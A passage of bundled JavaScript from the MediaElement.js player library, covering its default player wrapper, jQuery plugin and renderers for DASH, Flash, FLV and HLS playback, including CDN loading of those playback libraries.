(Constructor, protoProps, staticProps) { if (protoProps) defineProperties(Constructor.prototype, protoProps); if (staticProps) defineProperties(Constructor, staticProps); return Constructor; }; }(); var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } function _classCallCheck(instance, Constructor) { if (!(instance instanceof Constructor)) { throw new TypeError("Cannot call a class as a function"); } } var DefaultPlayer = function () { function DefaultPlayer(player) { _classCallCheck(this, DefaultPlayer); this.media = player.media; this.isVideo = player.isVideo; this.classPrefix = player.options.classPrefix; this.createIframeLayer = function () { return player.createIframeLayer(); }; this.setPoster = function (url) { return player.setPoster(url); }; return this; } _createClass(DefaultPlayer, [{ key: 'play', value: function play() { this.media.play(); } }, { key: 'pause', value: function pause() { this.media.pause(); } }, { key: 'load', value: function load() { var t = this; if (!t.isLoaded) { t.media.load(); } t.isLoaded = true; } }, { key: 'setCurrentTime', value: function setCurrentTime(time) { this.media.setCurrentTime(time); } }, { key: 'getCurrentTime', value: function getCurrentTime() { return this.media.currentTime; } }, { key: 'getDuration', value: function getDuration() { var duration = this.media.getDuration(); if (duration === Infinity && this.media.seekable && this.media.seekable.length) { duration = this.media.seekable.end(0); } return duration; } }, { key: 'setVolume', value: function setVolume(volume) { this.media.setVolume(volume); } }, { key: 'getVolume', value: function getVolume() { return this.media.getVolume(); } }, { key: 'setMuted', value: function setMuted(value) { this.media.setMuted(value); } }, { key: 'setSrc', value: function setSrc(src) { var t = this, layer = document.getElementById(t.media.id + '-iframe-overlay'); if (layer) { layer.remove(); } t.media.setSrc(src); t.createIframeLayer(); if (t.media.renderer !== null && typeof t.media.renderer.getPosterUrl === 'function') { t.setPoster(t.media.renderer.getPosterUrl()); } } }, { key: 'getSrc', value: function getSrc() { return this.media.getSrc(); } }, { key: 'canPlayType', value: function canPlayType(type) { return this.media.canPlayType(type); } }, { key: 'paused', get: function get() { return this.media.paused; } }, { key: 'muted', set: function set(muted) { this.setMuted(muted); }, get: function get() { return this.media.muted; } }, { key: 'ended', get: function get() { return this.media.ended; } }, { key: 'readyState', get: function get() { return this.media.readyState; } }, { key: 'currentTime', set: function set(time) { this.setCurrentTime(time); }, get: function get() { return this.getCurrentTime(); } }, { key: 'duration', get: function get() { return this.getDuration(); } }, { key: 'remainingTime', get: function get() { return this.getDuration() - this.currentTime(); } }, { key: 'volume', set: function set(volume) { this.setVolume(volume); }, get: function get() { return this.getVolume(); } }, { key: 'src', set: function set(src) { this.setSrc(src); }, get: function get() { return this.getSrc(); } }]); return DefaultPlayer; }(); exports.default = DefaultPlayer; _window2.default.DefaultPlayer = DefaultPlayer; },{"3":3}],18:[function(_dereq_,module,exports){ 'use strict'; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _player = _dereq_(16); var _player2 = _interopRequireDefault(_player); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } if (typeof jQuery !== 'undefined') { _mejs2.default.$ = jQuery; } else if (typeof Zepto !== 'undefined') { _mejs2.default.$ = Zepto; } else if (typeof ender !== 'undefined') { _mejs2.default.$ = ender; } (function ($) { if (typeof $ !== 'undefined') { $.fn.mediaelementplayer = function (options) { if (options === false) { this.each(function () { var player = $(this).data('mediaelementplayer'); if (player) { player.remove(); } $(this).removeData('mediaelementplayer'); }); } else { this.each(function () { $(this).data('mediaelementplayer', new _player2.default(this, options)); }); } return this; }; $(document).ready(function () { $('.' + _mejs2.default.MepDefaults.classPrefix + 'player').mediaelementplayer(); }); } })(_mejs2.default.$); },{"16":16,"3":3,"7":7}],19:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _media = _dereq_(28); var _constants = _dereq_(25); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeDash = { promise: null, load: function load(settings) { if (typeof dashjs !== 'undefined') { NativeDash.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeDash._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.dashjs.org/latest/dash.all.min.js'; NativeDash.promise = NativeDash.promise || (0, _dom.loadScript)(settings.options.path); NativeDash.promise.then(function () { NativeDash._createPlayer(settings); }); } return NativeDash.promise; }, _createPlayer: function _createPlayer(settings) { var player = dashjs.MediaPlayer().create(); _window2.default['__ready__' + settings.id](player); return player; } }; var DashNativeRenderer = { name: 'native_dash', options: { prefix: 'native_dash', dash: { path: 'https://cdn.dashjs.org/latest/dash.all.min.js', debug: false, drm: {}, robustnessLevel: '' } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/dash+xml'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, autoplay = originalNode.autoplay, children = originalNode.children; var node = null, dashPlayer = null; originalNode.removeAttribute('type'); for (var i = 0, total = children.length; i < total; i++) { children[i].removeAttribute('type'); } node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return dashPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { var source = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; node[propName] = source; if (dashPlayer !== null) { dashPlayer.reset(); for (var _i = 0, _total = events.length; _i < _total; _i++) { node.removeEventListener(events[_i], attachNativeEvents); } dashPlayer = NativeDash._createPlayer({ options: options.dash, id: id }); if (value && (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && _typeof(value.drm) === 'object') { dashPlayer.setProtectionData(value.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(source); if (autoplay) { dashPlayer.play(); } } } else { node[propName] = value; } } }; }; for (var _i2 = 0, _total2 = props.length; _i2 < _total2; _i2++) { assignGettersSetters(props[_i2]); } _window2.default['__ready__' + id] = function (_dashPlayer) { mediaElement.dashPlayer = dashPlayer = _dashPlayer; var dashEvents = dashjs.MediaPlayer.events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { dashPlayer.initialize(); dashPlayer.attachView(node); dashPlayer.setAutoPlay(false); if (_typeof(options.dash.drm) === 'object' && !_mejs2.default.Utils.isObjectEmpty(options.dash.drm)) { dashPlayer.setProtectionData(options.dash.drm); if ((0, _general.isString)(options.dash.robustnessLevel) && options.dash.robustnessLevel) { dashPlayer.getProtectionController().setRobustnessLevel(options.dash.robustnessLevel); } } dashPlayer.attachSource(node.getSrc()); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i3 = 0, _total3 = events.length; _i3 < _total3; _i3++) { assignEvents(events[_i3]); } var assignMdashEvents = function assignMdashEvents(e) { if (e.type.toLowerCase() === 'error') { mediaElement.generateError(e.message, node.src); console.error(e); } else { var _event = (0, _general.createEvent)(e.type, mediaElement); _event.data = e; mediaElement.dispatchEvent(_event); } }; for (var eventType in dashEvents) { if (dashEvents.hasOwnProperty(eventType)) { dashPlayer.on(dashEvents[eventType], function (e) { return assignMdashEvents(e); }); } } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { node.setAttribute('src', mediaFiles[_i4].src); if (typeof mediaFiles[_i4].drm !== 'undefined') { options.dash.drm = mediaFiles[_i4].drm; } break; } } } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { node.pause(); node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (dashPlayer !== null) { dashPlayer.reset(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeDash.load({ options: options.dash, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.mpd') ? 'application/dash+xml' : null; }); _renderer.renderer.add(DashNativeRenderer); },{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],20:[function(_dereq_,module,exports){ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); exports.PluginDetector = undefined; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _document = _dereq_(2); var _document2 = _interopRequireDefault(_document); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _i18n = _dereq_(5); var _i18n2 = _interopRequireDefault(_i18n); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); var _media = _dereq_(28); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var PluginDetector = exports.PluginDetector = { plugins: [], hasPluginVersion: function hasPluginVersion(plugin, v) { var pv = PluginDetector.plugins[plugin]; v[1] = v[1] || 0; v[2] = v[2] || 0; return pv[0] > v[0] || pv[0] === v[0] && pv[1] > v[1] || pv[0] === v[0] && pv[1] === v[1] && pv[2] >= v[2]; }, addPlugin: function addPlugin(p, pluginName, mimeType, activeX, axDetect) { PluginDetector.plugins[p] = PluginDetector.detectPlugin(pluginName, mimeType, activeX, axDetect); }, detectPlugin: function detectPlugin(pluginName, mimeType, activeX, axDetect) { var version = [0, 0, 0], description = void 0, ax = void 0; if (_constants.NAV.plugins !== null && _constants.NAV.plugins !== undefined && _typeof(_constants.NAV.plugins[pluginName]) === 'object') { description = _constants.NAV.plugins[pluginName].description; if (description && !(typeof _constants.NAV.mimeTypes !== 'undefined' && _constants.NAV.mimeTypes[mimeType] && !_constants.NAV.mimeTypes[mimeType].enabledPlugin)) { version = description.replace(pluginName, '').replace(/^\s+/, '').replace(/\sr/gi, '.').split('.'); for (var i = 0, total = version.length; i < total; i++) { version[i] = parseInt(version[i].match(/\d+/), 10); } } } else if (_window2.default.ActiveXObject !== undefined) { try { ax = new ActiveXObject(activeX); if (ax) { version = axDetect(ax); } } catch (e) { } } return version; } }; PluginDetector.addPlugin('flash', 'Shockwave Flash', 'application/x-shockwave-flash', 'ShockwaveFlash.ShockwaveFlash', function (ax) { var version = [], d = ax.GetVariable("$version"); if (d) { d = d.split(" ")[1].split(","); version = [parseInt(d[0], 10), parseInt(d[1], 10), parseInt(d[2], 10)]; } return version; }); var FlashMediaElementRenderer = { create: function create(mediaElement, options, mediaFiles) { var flash = {}; var isActive = false; flash.options = options; flash.id = mediaElement.id + '_' + flash.options.prefix; flash.mediaElement = mediaElement; flash.flashState = {}; flash.flashApi = null; flash.flashApiStack = []; var props = _mejs2.default.html5media.properties, assignGettersSetters = function assignGettersSetters(propName) { flash.flashState[propName] = null; var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['get' + capName] = function () { if (flash.flashApi !== null) { if (typeof flash.flashApi['get_' + propName] === 'function') { var value = flash.flashApi['get_' + propName](); if (propName === 'buffered') { return { start: function start() { return 0; }, end: function end() { return value; }, length: 1 }; } return value; } else { return null; } } else { return null; } }; flash['set' + capName] = function (value) { if (propName === 'src') { value = (0, _media.absolutizeUrl)(value); } if (flash.flashApi !== null && flash.flashApi['set_' + propName] !== undefined) { try { flash.flashApi['set_' + propName](value); } catch (e) { } } else { flash.flashApiStack.push({ type: 'set', propName: propName, value: value }); } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } var methods = _mejs2.default.html5media.methods, assignMethods = function assignMethods(methodName) { flash[methodName] = function () { if (isActive) { if (flash.flashApi !== null) { if (flash.flashApi['fire_' + methodName]) { try { flash.flashApi['fire_' + methodName](); } catch (e) { } } else { } } else { flash.flashApiStack.push({ type: 'call', methodName: methodName }); } } }; }; methods.push('stop'); for (var _i = 0, _total = methods.length; _i < _total; _i++) { assignMethods(methods[_i]); } var initEvents = ['rendererready']; for (var _i2 = 0, _total2 = initEvents.length; _i2 < _total2; _i2++) { var event = (0, _general.createEvent)(initEvents[_i2], flash); mediaElement.dispatchEvent(event); } _window2.default['__ready__' + flash.id] = function () { flash.flashReady = true; flash.flashApi = _document2.default.getElementById('__' + flash.id); if (flash.flashApiStack.length) { for (var _i3 = 0, _total3 = flash.flashApiStack.length; _i3 < _total3; _i3++) { var stackItem = flash.flashApiStack[_i3]; if (stackItem.type === 'set') { var propName = stackItem.propName, capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); flash['set' + capName](stackItem.value); } else if (stackItem.type === 'call') { flash[stackItem.methodName](); } } } }; _window2.default['__event__' + flash.id] = function (eventName, message) { var event = (0, _general.createEvent)(eventName, flash); if (message) { try { event.data = JSON.parse(message); event.details.data = JSON.parse(message); } catch (e) { event.message = message; } } flash.mediaElement.dispatchEvent(event); }; flash.flashWrapper = _document2.default.createElement('div'); if (['always', 'sameDomain'].indexOf(flash.options.shimScriptAccess) === -1) { flash.options.shimScriptAccess = 'sameDomain'; } var autoplay = mediaElement.originalNode.autoplay, flashVars = ['uid=' + flash.id, 'autoplay=' + autoplay, 'allowScriptAccess=' + flash.options.shimScriptAccess, 'preload=' + (mediaElement.originalNode.getAttribute('preload') || '')], isVideo = mediaElement.originalNode !== null && mediaElement.originalNode.tagName.toLowerCase() === 'video', flashHeight = isVideo ? mediaElement.originalNode.height : 1, flashWidth = isVideo ? mediaElement.originalNode.width : 1; if (mediaElement.originalNode.getAttribute('src')) { flashVars.push('src=' + mediaElement.originalNode.getAttribute('src')); } if (flash.options.enablePseudoStreaming === true) { flashVars.push('pseudostreamstart=' + flash.options.pseudoStreamingStartQueryParam); flashVars.push('pseudostreamtype=' + flash.options.pseudoStreamingType); } if (flash.options.streamDelimiter) { flashVars.push('streamdelimiter=' + encodeURIComponent(flash.options.streamDelimiter)); } if (flash.options.proxyType) { flashVars.push('proxytype=' + flash.options.proxyType); } mediaElement.appendChild(flash.flashWrapper); mediaElement.originalNode.style.display = 'none'; var settings = []; if (_constants.IS_IE || _constants.IS_EDGE) { var specialIEContainer = _document2.default.createElement('div'); flash.flashWrapper.appendChild(specialIEContainer); if (_constants.IS_EDGE) { settings = ['type="application/x-shockwave-flash"', 'data="' + flash.options.pluginPath + flash.options.filename + '"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '\'"']; } else { settings = ['classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"', 'codebase="//download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"', 'id="__' + flash.id + '"', 'width="' + flashWidth + '"', 'height="' + flashHeight + '"']; } if (!isVideo) { settings.push('style="clip: rect(0 0 0 0); position: absolute;"'); } specialIEContainer.outerHTML = '<object ' + settings.join(' ') + '>' + ('<param name="movie" value="' + flash.options.pluginPath + flash.options.filename + '?x=' + new Date() + '" />') + ('<param name="flashvars" value="' + flashVars.join('&') + '" />') + '<param name="quality" value="high" />' + '<param name="bgcolor" value="#000000" />' + '<param name="wmode" value="transparent" />' + ('<param name="allowScriptAccess" value="' + flash.options.shimScriptAccess + '" />') + '<param name="allowFullScreen" value="true" />' + ('<div>' + _i18n2.default.t('mejs.install-flash') + '</div>') + '</object>'; } else { settings = ['id="__' + flash.id + '"', 'name="__' + flash.id + '"', 'play="true"', 'loop="false"', 'quality="high"', 'bgcolor="#000000"', 'wmode="transparent"', 'allowScriptAccess="' + flash.options.shimScriptAccess + '"', 'allowFullScreen="true"', 'type="application/x-shockwave-flash"', 'pluginspage="//www.macromedia.com/go/getflashplayer"', 'src="' + flash.options.pluginPath + flash.options.filename + '"', 'flashvars="' + flashVars.join('&') + '"']; if (isVideo) { settings.push('width="' + flashWidth + '"'); settings.push('height="' + flashHeight + '"'); } else { settings.push('style="position: fixed; left: -9999em; top: -9999em;"'); } flash.flashWrapper.innerHTML = '<embed ' + settings.join(' ') + '>'; } flash.flashNode = flash.flashWrapper.lastChild; flash.hide = function () { isActive = false; if (isVideo) { flash.flashNode.style.display = 'none'; } }; flash.show = function () { isActive = true; if (isVideo) { flash.flashNode.style.display = ''; } }; flash.setSize = function (width, height) { flash.flashNode.style.width = width + 'px'; flash.flashNode.style.height = height + 'px'; if (flash.flashApi !== null && typeof flash.flashApi.fire_setSize === 'function') { flash.flashApi.fire_setSize(width, height); } }; flash.destroy = function () { flash.flashNode.remove(); }; if (mediaFiles && mediaFiles.length > 0) { for (var _i4 = 0, _total4 = mediaFiles.length; _i4 < _total4; _i4++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i4].type)) { flash.setSrc(mediaFiles[_i4].src); break; } } } return flash; } }; var hasFlash = PluginDetector.hasPluginVersion('flash', [10, 0, 0]); if (hasFlash) { _media.typeChecks.push(function (url) { url = url.toLowerCase(); if (url.startsWith('rtmp')) { if (~url.indexOf('.mp3')) { return 'audio/rtmp'; } else { return 'video/rtmp'; } } else if (/\.og(a|g)/i.test(url)) { return 'audio/ogg'; } else if (~url.indexOf('.m3u8')) { return 'application/x-mpegURL'; } else if (~url.indexOf('.mpd')) { return 'application/dash+xml'; } else if (~url.indexOf('.flv')) { return 'video/flv'; } else { return null; } }); var FlashMediaElementVideoRenderer = { name: 'flash_video', options: { prefix: 'flash_video', filename: 'mediaelement-flash-video.swf', enablePseudoStreaming: false, pseudoStreamingStartQueryParam: 'start', pseudoStreamingType: 'byte', proxyType: '', streamDelimiter: '' }, canPlayType: function canPlayType(type) { return ~['video/mp4', 'video/rtmp', 'audio/rtmp', 'rtmp/mp4', 'audio/mp4', 'video/flv', 'video/x-flv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementVideoRenderer); var FlashMediaElementHlsVideoRenderer = { name: 'flash_hls', options: { prefix: 'flash_hls', filename: 'mediaelement-flash-video-hls.swf' }, canPlayType: function canPlayType(type) { return ~['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementHlsVideoRenderer); var FlashMediaElementMdashVideoRenderer = { name: 'flash_dash', options: { prefix: 'flash_dash', filename: 'mediaelement-flash-video-mdash.swf' }, canPlayType: function canPlayType(type) { return ~['application/dash+xml'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementMdashVideoRenderer); var FlashMediaElementAudioRenderer = { name: 'flash_audio', options: { prefix: 'flash_audio', filename: 'mediaelement-flash-audio.swf' }, canPlayType: function canPlayType(type) { return ~['audio/mp3'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioRenderer); var FlashMediaElementAudioOggRenderer = { name: 'flash_audio_ogg', options: { prefix: 'flash_audio_ogg', filename: 'mediaelement-flash-audio-ogg.swf' }, canPlayType: function canPlayType(type) { return ~['audio/ogg', 'audio/oga', 'audio/ogv'].indexOf(type.toLowerCase()); }, create: FlashMediaElementRenderer.create }; _renderer.renderer.add(FlashMediaElementAudioOggRenderer); } },{"2":2,"25":25,"27":27,"28":28,"3":3,"5":5,"7":7,"8":8}],21:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); var _media = _dereq_(28); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeFlv = { promise: null, load: function load(settings) { if (typeof flvjs !== 'undefined') { NativeFlv.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeFlv._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/flv.js@latest'; NativeFlv.promise = NativeFlv.promise || (0, _dom.loadScript)(settings.options.path); NativeFlv.promise.then(function () { NativeFlv._createPlayer(settings); }); } return NativeFlv.promise; }, _createPlayer: function _createPlayer(settings) { flvjs.LoggingControl.enableDebug = settings.options.debug; flvjs.LoggingControl.enableVerbose = settings.options.debug; var player = flvjs.createPlayer(settings.options, settings.configs); _window2.default['__ready__' + settings.id](player); return player; } }; var FlvNativeRenderer = { name: 'native_flv', options: { prefix: 'native_flv', flv: { path: 'https://cdn.jsdelivr.net/npm/flv.js@latest', cors: true, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['video/x-flv', 'video/flv'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix; var node = null, flvPlayer = null; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return flvPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (flvPlayer !== null) { var _flvOptions = {}; _flvOptions.type = 'flv'; _flvOptions.url = value; _flvOptions.cors = options.flv.cors; _flvOptions.debug = options.flv.debug; _flvOptions.path = options.flv.path; var _flvConfigs = options.flv.configs; flvPlayer.destroy(); for (var i = 0, total = events.length; i < total; i++) { node.removeEventListener(events[i], attachNativeEvents); } flvPlayer = NativeFlv._createPlayer({ options: _flvOptions, configs: _flvConfigs, id: id }); flvPlayer.attachMediaElement(node); flvPlayer.load(); } } else { node[propName] = value; } } }; }; for (var i = 0, total = props.length; i < total; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_flvPlayer) { mediaElement.flvPlayer = flvPlayer = _flvPlayer; var flvEvents = flvjs.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { flvPlayer.unload(); flvPlayer.detachMediaElement(); flvPlayer.attachMediaElement(node); flvPlayer.load(); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total = events.length; _i < _total; _i++) { assignEvents(events[_i]); } var assignFlvEvents = function assignFlvEvents(name, data) { if (name === 'error') { var message = data[0] + ': ' + data[1] + ' ' + data[2].msg; mediaElement.generateError(message, node.src); } else { var _event = (0, _general.createEvent)(name, mediaElement); _event.data = data; mediaElement.dispatchEvent(_event); } }; var _loop = function _loop(eventType) { if (flvEvents.hasOwnProperty(eventType)) { flvPlayer.on(flvEvents[eventType], function () { for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) { args[_key] = arguments[_key]; } return assignFlvEvents(flvEvents[eventType], args); }); } }; for (var eventType in flvEvents) { _loop(eventType); } }; if (mediaFiles && mediaFiles.length > 0) { for (var _i2 = 0, _total2 = mediaFiles.length; _i2 < _total2; _i2++) { if (_renderer.renderer.renderers[options.prefix].canPlayType(mediaFiles[_i2].type)) { node.setAttribute('src', mediaFiles[_i2].src); break; } } } node.setAttribute('id', id); originalNode.parentNode.insertBefore(node, originalNode); originalNode.autoplay = false; originalNode.style.display = 'none'; var flvOptions = {}; flvOptions.type = 'flv'; flvOptions.url = node.src; flvOptions.cors = options.flv.cors; flvOptions.debug = options.flv.debug; flvOptions.path = options.flv.path; var flvConfigs = options.flv.configs; node.setSize = function (width, height) { node.style.width = width + 'px'; node.style.height = height + 'px'; return node; }; node.hide = function () { if (flvPlayer !== null) { flvPlayer.pause(); } node.style.display = 'none'; return node; }; node.show = function () { node.style.display = ''; return node; }; node.destroy = function () { if (flvPlayer !== null) { flvPlayer.destroy(); } }; var event = (0, _general.createEvent)('rendererready', node); mediaElement.dispatchEvent(event); mediaElement.promises.push(NativeFlv.load({ options: flvOptions, configs: flvConfigs, id: id })); return node; } }; _media.typeChecks.push(function (url) { return ~url.toLowerCase().indexOf('.flv') ? 'video/flv' : null; }); _renderer.renderer.add(FlvNativeRenderer); },{"25":25,"26":26,"27":27,"28":28,"3":3,"7":7,"8":8}],22:[function(_dereq_,module,exports){ 'use strict'; var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; }; var _window = _dereq_(3); var _window2 = _interopRequireDefault(_window); var _mejs = _dereq_(7); var _mejs2 = _interopRequireDefault(_mejs); var _renderer = _dereq_(8); var _general = _dereq_(27); var _constants = _dereq_(25); var _media = _dereq_(28); var _dom = _dereq_(26); function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; } var NativeHls = { promise: null, load: function load(settings) { if (typeof Hls !== 'undefined') { NativeHls.promise = new Promise(function (resolve) { resolve(); }).then(function () { NativeHls._createPlayer(settings); }); } else { settings.options.path = typeof settings.options.path === 'string' ? settings.options.path : 'https://cdn.jsdelivr.net/npm/hls.js@latest'; NativeHls.promise = NativeHls.promise || (0, _dom.loadScript)(settings.options.path); NativeHls.promise.then(function () { NativeHls._createPlayer(settings); }); } return NativeHls.promise; }, _createPlayer: function _createPlayer(settings) { var player = new Hls(settings.options); _window2.default['__ready__' + settings.id](player); return player; } }; var HlsNativeRenderer = { name: 'native_hls', options: { prefix: 'native_hls', hls: { path: 'https://cdn.jsdelivr.net/npm/hls.js@latest', autoStartLoad: false, debug: false } }, canPlayType: function canPlayType(type) { return _constants.HAS_MSE && ['application/x-mpegurl', 'application/vnd.apple.mpegurl', 'audio/mpegurl', 'audio/hls', 'video/hls'].indexOf(type.toLowerCase()) > -1; }, create: function create(mediaElement, options, mediaFiles) { var originalNode = mediaElement.originalNode, id = mediaElement.id + '_' + options.prefix, preload = originalNode.getAttribute('preload'), autoplay = originalNode.autoplay; var hlsPlayer = null, node = null, index = 0, total = mediaFiles.length; node = originalNode.cloneNode(true); options = Object.assign(options, mediaElement.options); options.hls.autoStartLoad = preload && preload !== 'none' || autoplay; var props = _mejs2.default.html5media.properties, events = _mejs2.default.html5media.events.concat(['click', 'mouseover', 'mouseout']).filter(function (e) { return e !== 'error'; }), attachNativeEvents = function attachNativeEvents(e) { var event = (0, _general.createEvent)(e.type, mediaElement); mediaElement.dispatchEvent(event); }, assignGettersSetters = function assignGettersSetters(propName) { var capName = '' + propName.substring(0, 1).toUpperCase() + propName.substring(1); node['get' + capName] = function () { return hlsPlayer !== null ? node[propName] : null; }; node['set' + capName] = function (value) { if (_mejs2.default.html5media.readOnlyProperties.indexOf(propName) === -1) { if (propName === 'src') { node[propName] = (typeof value === 'undefined' ? 'undefined' : _typeof(value)) === 'object' && value.src ? value.src : value; if (hlsPlayer !== null) { hlsPlayer.destroy(); for (var i = 0, _total = events.length; i < _total; i++) { node.removeEventListener(events[i], attachNativeEvents); } hlsPlayer = NativeHls._createPlayer({ options: options.hls, id: id }); hlsPlayer.loadSource(value); hlsPlayer.attachMedia(node); } } else { node[propName] = value; } } }; }; for (var i = 0, _total2 = props.length; i < _total2; i++) { assignGettersSetters(props[i]); } _window2.default['__ready__' + id] = function (_hlsPlayer) { mediaElement.hlsPlayer = hlsPlayer = _hlsPlayer; var hlsEvents = Hls.Events, assignEvents = function assignEvents(eventName) { if (eventName === 'loadedmetadata') { var url = mediaElement.originalNode.src; hlsPlayer.detachMedia(); hlsPlayer.loadSource(url); hlsPlayer.attachMedia(node); } node.addEventListener(eventName, attachNativeEvents); }; for (var _i = 0, _total3 = events.length; _i < _total3; _i++) { assignEvents(events[_i]); } var recoverDecodingErrorDate = void 0, recoverSwapAudioCodecDate = void 0; var assignHlsEvents = function assignHlsEvents(name, data) { if (name === 'hlsError') { console.warn(data); data = data[1]; if (data.fatal) { switch (data.type) { case 'mediaError': var now = new Date().getTime(); if (!recoverDecodingErrorDate || now - recoverDecodingErrorDate > 3000) { recoverDecodingErrorDate = new Date().getTime(); hlsPlayer.recoverMediaError(); } else if 